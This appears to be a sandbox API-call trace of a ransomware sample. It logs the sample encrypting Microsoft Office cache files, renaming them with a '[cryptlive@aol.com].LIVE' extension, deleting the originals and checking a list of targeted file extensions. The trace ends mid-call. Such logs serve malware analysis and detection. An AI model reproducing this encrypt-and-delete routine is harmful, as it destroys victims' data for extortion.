[0037.703] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0037.703] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.703] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.703] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0037.704] GetLastError () returned 0x0 [0037.704] ReadFile (in: hFile=0x188, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x708, lpOverlapped=0x0) returned 1 [0037.705] WriteFile (in: hFile=0x18c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x710, lpOverlapped=0x0) returned 1 [0037.706] ReadFile (in: hFile=0x188, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.706] WriteFile (in: hFile=0x18c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0037.706] SetEndOfFile (hFile=0x18c) returned 1 [0037.706] CloseHandle (hObject=0x18c) returned 1 [0037.707] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.707] SetEndOfFile (hFile=0x188) returned 1 [0037.708] CloseHandle (hObject=0x188) returned 1 [0037.708] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0037.709] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0037.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0037.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0037.709] lstrlenW (lpString=".doc") returned 4 [0037.709] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.709] lstrlenW (lpString=".docx") returned 5 [0037.709] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0037.709] lstrlenW (lpString=".pdf") returned 4 [0037.709] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.709] lstrlenW (lpString=".xls") returned 4 [0037.709] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.709] lstrlenW (lpString=".xlsx") returned 5 [0037.709] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0037.709] lstrlenW (lpString=".ppt") returned 4 [0037.709] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0037.709] lstrlenW (lpString=".zip") returned 4 [0037.709] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.709] lstrlenW (lpString=".rar") returned 4 [0037.709] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.709] lstrlenW (lpString=".bz2") returned 4 [0037.709] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.709] lstrlenW (lpString=".7z") returned 3 [0037.709] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0037.709] lstrlenW (lpString=".dbf") returned 4 [0037.709] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0037.710] lstrlenW (lpString=".1cd") returned 4 [0037.710] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0037.710] lstrlenW (lpString=".jpg") returned 4 [0037.710] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0037.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0037.710] lstrlenW (lpString=".doc") returned 4 [0037.710] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.710] lstrlenW (lpString=".docx") returned 5 [0037.710] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0037.710] lstrlenW (lpString=".pdf") returned 4 [0037.710] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.710] lstrlenW (lpString=".xls") returned 4 [0037.710] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.710] lstrlenW (lpString=".xlsx") returned 5 [0037.710] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0037.710] lstrlenW (lpString=".ppt") returned 4 [0037.710] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0037.710] lstrlenW (lpString=".zip") returned 4 [0037.710] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.710] lstrlenW (lpString=".rar") returned 4 [0037.710] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.710] lstrlenW (lpString=".bz2") returned 4 [0037.710] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.710] lstrlenW (lpString=".7z") returned 3 [0037.710] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0037.710] lstrlenW (lpString=".dbf") returned 4 [0037.710] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0037.711] lstrlenW (lpString=".1cd") returned 4 [0037.711] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0037.711] lstrlenW (lpString=".jpg") returned 4 [0037.711] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.711] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.711] lstrlenW (lpString="Proof.xml") returned 9 [0037.711] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0038.080] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=1347) returned 1 [0038.081] CloseHandle (hObject=0x1a0) returned 1 [0038.081] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0038.081] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.081] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0038.081] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.081] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.081] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0038.426] GetLastError () returned 0x0 [0038.426] ReadFile (in: hFile=0x1a0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x543, lpOverlapped=0x0) returned 1 [0038.808] WriteFile (in: hFile=0x19c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x550, lpOverlapped=0x0) returned 1 [0038.809] ReadFile (in: hFile=0x1a0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.809] WriteFile (in: hFile=0x19c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.809] SetEndOfFile (hFile=0x19c) returned 1 [0038.809] CloseHandle (hObject=0x19c) returned 1 [0038.810] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.810] SetEndOfFile (hFile=0x1a0) returned 1 [0038.811] CloseHandle (hObject=0x1a0) returned 1 [0038.811] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0038.811] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0038.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.812] lstrlenW (lpString=".doc") returned 4 [0038.812] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.812] lstrlenW (lpString=".docx") returned 5 [0038.812] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0038.812] lstrlenW (lpString=".pdf") returned 4 [0038.812] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.812] lstrlenW (lpString=".xls") returned 4 [0038.812] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.812] lstrlenW (lpString=".xlsx") returned 5 [0038.812] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0038.812] lstrlenW (lpString=".ppt") returned 4 [0038.812] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.812] lstrlenW (lpString=".zip") returned 4 [0038.812] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.812] lstrlenW (lpString=".rar") returned 4 [0038.812] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.812] lstrlenW (lpString=".bz2") returned 4 [0038.812] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.812] lstrlenW (lpString=".7z") returned 3 [0038.812] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.812] lstrlenW (lpString=".dbf") returned 4 [0038.812] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.812] lstrlenW (lpString=".1cd") returned 4 [0038.812] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.812] lstrlenW (lpString=".jpg") returned 4 [0038.813] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.813] lstrlenW (lpString=".doc") returned 4 [0038.813] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.813] lstrlenW (lpString=".docx") returned 5 [0038.813] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0038.813] lstrlenW (lpString=".pdf") returned 4 [0038.813] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.813] lstrlenW (lpString=".xls") returned 4 [0038.813] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.813] lstrlenW (lpString=".xlsx") returned 5 [0038.813] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0038.813] lstrlenW (lpString=".ppt") returned 4 [0038.813] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.813] lstrlenW (lpString=".zip") returned 4 [0038.813] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.813] lstrlenW (lpString=".rar") returned 4 [0038.813] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.813] lstrlenW (lpString=".bz2") returned 4 [0038.813] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.813] lstrlenW (lpString=".7z") returned 3 [0038.813] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.813] lstrlenW (lpString=".dbf") returned 4 [0038.813] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.813] lstrlenW (lpString=".1cd") returned 4 [0038.813] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.813] lstrlenW (lpString=".jpg") returned 4 [0038.813] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.814] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0038.814] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0038.814] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0038.935] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=1452) returned 1 [0038.935] CloseHandle (hObject=0x174) returned 1 [0038.935] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0038.935] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.935] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0038.935] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.936] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.936] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0038.936] GetLastError () returned 0x0 [0038.936] ReadFile (in: hFile=0x174, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0038.946] WriteFile (in: hFile=0x198, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0038.947] ReadFile (in: hFile=0x174, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.947] WriteFile (in: hFile=0x198, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0038.947] SetEndOfFile (hFile=0x198) returned 1 [0038.947] CloseHandle (hObject=0x198) returned 1 [0038.948] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.948] SetEndOfFile (hFile=0x174) returned 1 [0038.949] CloseHandle (hObject=0x174) returned 1 [0038.949] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0038.950] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0038.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0038.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0038.950] lstrlenW (lpString=".doc") returned 4 [0038.950] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.950] lstrlenW (lpString=".docx") returned 5 [0038.950] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.950] lstrlenW (lpString=".pdf") returned 4 [0038.950] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.950] lstrlenW (lpString=".xls") returned 4 [0038.950] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.950] lstrlenW (lpString=".xlsx") returned 5 [0038.950] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.950] lstrlenW (lpString=".ppt") returned 4 [0038.950] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0038.950] lstrlenW (lpString=".zip") returned 4 [0038.950] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.950] lstrlenW (lpString=".rar") returned 4 [0038.950] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.950] lstrlenW (lpString=".bz2") returned 4 [0038.950] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.950] lstrlenW (lpString=".7z") returned 3 [0038.950] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0038.951] lstrlenW (lpString=".dbf") returned 4 [0038.951] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0038.951] lstrlenW (lpString=".1cd") returned 4 [0038.951] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0038.951] lstrlenW (lpString=".jpg") returned 4 [0038.951] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0038.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0038.951] lstrlenW (lpString=".doc") returned 4 [0038.951] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.951] lstrlenW (lpString=".docx") returned 5 [0038.951] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.951] lstrlenW (lpString=".pdf") returned 4 [0038.951] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.951] lstrlenW (lpString=".xls") returned 4 [0038.951] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.951] lstrlenW (lpString=".xlsx") returned 5 [0038.951] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.951] lstrlenW (lpString=".ppt") returned 4 [0038.951] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0038.951] lstrlenW (lpString=".zip") returned 4 [0038.951] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.951] lstrlenW (lpString=".rar") returned 4 [0038.951] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.951] lstrlenW (lpString=".bz2") returned 4 [0038.951] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.951] lstrlenW (lpString=".7z") returned 3 [0038.951] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0038.951] lstrlenW (lpString=".dbf") returned 4 [0038.951] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0038.951] lstrlenW (lpString=".1cd") returned 4 [0038.952] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0038.952] lstrlenW (lpString=".jpg") returned 4 [0038.952] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.952] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0038.952] lstrlenW (lpString="AccessMUI.xml") returned 13 [0038.952] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0039.008] GetFileSizeEx (in: hFile=0x174, 